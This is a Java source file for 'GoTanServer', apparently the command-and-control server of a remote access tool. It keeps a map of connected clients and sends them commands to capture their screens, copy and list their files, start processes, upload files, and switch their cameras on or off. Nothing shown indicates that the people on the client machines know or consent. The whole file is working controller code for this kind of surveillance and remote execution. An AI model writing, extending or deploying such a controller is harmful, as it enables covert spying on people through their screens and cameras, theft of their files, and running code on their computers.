package cn.dqy.gotanserver.service;

import cn.dqy.gotanserver.anno.CheckOnline;
import cn.dqy.gotanserver.code.CodeUtils;
import cn.dqy.gotanserver.code.GoTanDtoDecode;
import cn.dqy.gotanserver.code.GoTanDtoEncode;
import cn.dqy.gotanserver.dto.ChannelInfo;
import cn.dqy.gotanserver.config.ConfigClass;
import cn.dqy.gotanserver.dto.GoTanInet;
import cn.dqy.gotanserver.dto.R;
import cn.dqy.gotanserver.handle.AuthInboundHandle;
import cn.dqy.gotanserver.handle.InboundHandle;
import cn.dqy.gotanserver.support.ClientRespondRecordUtils;
import cn.dqy.gotanserver.support.EmailSupport;
import cn.dqy.gotanserver.support.SmsSupport;
import cn.dqy.gotanserver.support.SupportHelper;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import org.apache.commons.io.FileUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.stereotype.Service;

import javax.annotation.Resource;
import java.io.File;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.SocketAddress;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ThreadPoolExecutor;

@Service
public class CoreServer implements ApplicationContextAware {

    static Logger logger = LoggerFactory.getLogger(CoreServer.class);
    public Map<String, ChannelInfo> channelMap;

    public Map<String, ChannelInfo> getChannelMap() {
        return channelMap;
    }

    public void setChannelMap(Map<String, ChannelInfo> channelMap) {
        this.channelMap = channelMap;
    }

    ServerBootstrap bootstrap;

    @Autowired
    ConfigClass goTanConfig;

    @Autowired
    SupportHelper supportHelper;

    @Autowired
    SmsSupport smsSupport;

    @Autowired
    EmailSupport emailSupport;

    @Autowired
    ClientRespondRecordUtils clientRespondRecordUtils;

    @Resource(name="threadPool")
    ThreadPoolExecutor threadPoolExecutor;

    public void run(){
        logger.info("GoTanServer 启动开始...");
        bootstrap=new ServerBootstrap();
        EventLoopGroup bossGroup = new NioEventLoopGroup(1);
        EventLoopGroup workerGroup = new NioEventLoopGroup(4);
        channelMap=new ConcurrentHashMap<>();

        try {
            bootstrap.group(bossGroup, workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .option(ChannelOption.SO_BACKLOG, 128)
                    .childOption(ChannelOption.SO_KEEPALIVE, true)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) throws Exception {
                            ch.pipeline().addLast(new AuthInboundHandle(goTanConfig,emailSupport,smsSupport,channelMap));
                            ch.pipeline().addLast(new GoTanDtoDecode());
                            ch.pipeline().addLast(new GoTanDtoEncode());
                            ch.pipeline().addLast(new InboundHandle(supportHelper,smsSupport,emailSupport,channelMap,goTanConfig));
                        }
                    });

            //Object o = bootstrap.config().options().get(ChannelOption.RCVBUF_ALLOCATOR);

            SocketAddress address = new InetSocketAddress("0.0.0.0",goTanConfig.getPort() );
            ChannelFuture sync = bootstrap.bind(address).sync();
            logger.info("GoTanServer 启动完成...");

            sync.channel().closeFuture().sync();
        } catch (InterruptedException e) {
            e.printStackTrace();
            logger.error("GoTanServer 启动失败...原因"+e);
        }finally {
            workerGroup.shutdownGracefully();
            bossGroup.shutdownGracefully();
        }
    }

    //查看客户端屏幕内容
    @CheckOnline(remark = "截取客户端屏幕内容")
    public R<String> look(String target){
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(1, null);
        channelWrite(bytes,null,channel);
        return R.build(200,"ok","截取指令发送完毕");
    }

    //拷贝客户端指定文件
    @CheckOnline(remark = "拷贝客户端指定文件")
    public R<String> copyFile(String target,String filePath){
        filePath = filePath.replaceAll(">","\\\\");
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(3, filePath);
        channelWrite(bytes,null,channel);
        return R.build(200,"ok","取文件指令发送完毕");
    }

    //取得客户端指定目录下的所有文件信息
    @CheckOnline(remark = "取得客户端目录信息")
    public R<Object> getDirInfo(String target,String dirName){
        dirName = dirName.replaceAll(">","\\\\");
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(2, dirName);
        channelWrite(bytes,null,channel);
        return R.build(200,"ok","取文件指令发送完毕");
    }

    //启动客户端指定文件
    @CheckOnline(remark = "启动客户端指定进程")
    public R<Object> startClientProcess(String target,String path){
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(4, path);
        channelWrite(bytes,null,channel);
        return R.build(200,"ok","启动process发送完毕");
    }

    //上传文件流到客户端
    @CheckOnline(remark = "上传文件到客户端")
    public R<Object> uploadFileToClient(String target,byte[] fileData,String toClientPath){
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(5, toClientPath, true, false, null, null);
        logger.info("fileSize={}",fileData.length);
        channelWrite(bytes,fileData,channel);
        return R.build(200,"ok","上传文件到客户端指令执行完毕");
    }

    @CheckOnline(remark = "开启摄像头")
    public R<Object> openCamera(String target){
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(6, "");
        channelWrite(bytes,null,channel);
        return R.build(200,"ok","开启摄像头指令执行完毕");
    }

    @CheckOnline(remark = "关闭摄像头")
    public R<Object> closeCamera(String target){
        NioSocketChannel channel = channelMap.get(target).getNioSocketChannel();
        byte[] bytes = CodeUtils.buildGoTanObjectToJsonBytes(7, "");
        channelWrite(bytes,null,channel);
        return R.build(200,"ok","关闭摄像头指令执行完毕");
    }

    private void channelWrite(byte[] bytes,byte[] fileData,NioSocketChannel channel){
        GoTanInet goTanInet=new GoTanInet();
        goTanInet.setVal_data(bytes);

        if(fileData==null) goTanInet.setPic_data(CodeUtils.ZERO_PIC);
        else goTanInet.setPic_data(fileData);

        ChannelFuture channelFuture = channel.writeAndFlush(goTanInet);
        channelFuture.addListener(new ChannelFutureListener() {
            @Override
            public void operationComplete(ChannelFuture future) throws Exception {
                logger.info("look 回调:客户端收到指令");
            }
        });
    }

    public Set<String> getOnlineClient(){
        return channelMap.keySet();
    }

    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        logger.info("cfg={}",goTanConfig);
        File file=new File(goTanConfig.getFileRootPath());
        if(!file.exists()) {
            file.mkdir();
        }
        clientRespondRecordUtils.create();
        threadPoolExecutor.execute(()->{this.run();});
    }
}
